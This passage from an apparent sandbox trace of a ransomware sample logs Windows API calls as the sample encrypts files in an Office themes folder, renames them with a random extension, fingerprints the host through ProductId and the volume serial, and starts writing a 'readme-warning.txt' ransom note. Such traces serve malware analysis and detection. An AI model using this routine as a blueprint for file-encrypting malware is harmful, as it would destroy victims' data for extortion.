Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.kjhslgjkjdfg")) returned 1 [0172.890] CloseHandle (hObject=0x114) returned 1 [0172.890] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0172.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.891] GetProcessHeap () returned 0x2ef0000 [0172.891] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.891] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.891] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.891] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0172.893] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.893] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.893] GetProcessHeap () returned 0x2ef0000 [0172.893] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.893] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.893] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.893] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.893] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.893] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.894] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.894] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.894] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x211, lpOverlapped=0x0) returned 1 [0172.894] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220, dwBufLen=0x220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220) returned 1 [0172.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x220, lpOverlapped=0x0) returned 1 [0172.894] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.895] SetEndOfFile (hFile=0x114) returned 1 [0172.904] GetProcessHeap () returned 0x2ef0000 [0172.904] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.905] GetProcessHeap () returned 0x2ef0000 [0172.905] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.kjhslgjkjdfg")) returned 1 [0172.914] CloseHandle (hObject=0x114) returned 1 [0172.914] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.915] GetProcessHeap () returned 0x2ef0000 [0172.915] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.915] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.915] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.962] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.962] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.962] GetProcessHeap () returned 0x2ef0000 [0172.962] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.962] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.962] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.962] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.962] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.962] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.962] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.963] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.963] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.963] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.963] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x543, lpOverlapped=0x0) returned 1 [0172.963] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x550) returned 1 [0172.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.963] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x550, lpOverlapped=0x0) returned 1 [0172.963] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.963] SetEndOfFile (hFile=0x114) returned 1 [0172.966] GetProcessHeap () returned 0x2ef0000 [0172.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.966] GetProcessHeap () returned 0x2ef0000 [0172.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.967] CloseHandle (hObject=0x114) returned 1 [0172.967] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.967] GetProcessHeap () returned 0x2ef0000 [0172.967] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.967] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.968] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0173.015] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.015] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.015] GetProcessHeap () returned 0x2ef0000 [0173.016] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.016] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.016] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.016] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.016] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.016] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.017] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6722, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6722, lpOverlapped=0x0) returned 1 [0173.018] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6730, dwBufLen=0x6730 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6730) returned 1 [0173.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.018] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x6730, lpOverlapped=0x0) returned 1 [0173.018] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.019] SetEndOfFile (hFile=0x114) returned 1 [0173.021] GetProcessHeap () returned 0x2ef0000 [0173.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.021] GetProcessHeap () returned 0x2ef0000 [0173.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.027] CloseHandle (hObject=0x114) returned 1 [0173.027] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.027] GetProcessHeap () returned 0x2ef0000 [0173.027] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.027] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.027] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.027] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.028] GetProcessHeap () returned 0x2ef0000 [0173.028] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.028] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.028] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.028] GetProcessHeap () returned 0x2ef0000 [0173.028] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0173.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.028] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0173.028] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.028] GetProcessHeap () returned 0x2ef0000 [0173.028] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.028] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.029] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.029] GetProcessHeap () returned 0x2ef0000 [0173.029] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.029] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.029] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.029] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.029] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0173.029] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.029] RegCloseKey (hKey=0x114) returned 0x0 [0173.029] GetProcessHeap () returned 0x2ef0000 [0173.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.029] GetProcessHeap () returned 0x2ef0000 [0173.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.029] GetProcessHeap () returned 0x2ef0000 [0173.029] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.029] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.029] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.029] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.029] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.030] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.030] GetProcessHeap () returned 0x2ef0000 [0173.030] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.030] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.030] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.030] GetProcessHeap () returned 0x2ef0000 [0173.030] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0173.030] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\readme-warning.txt") returned 79 [0173.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.031] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, 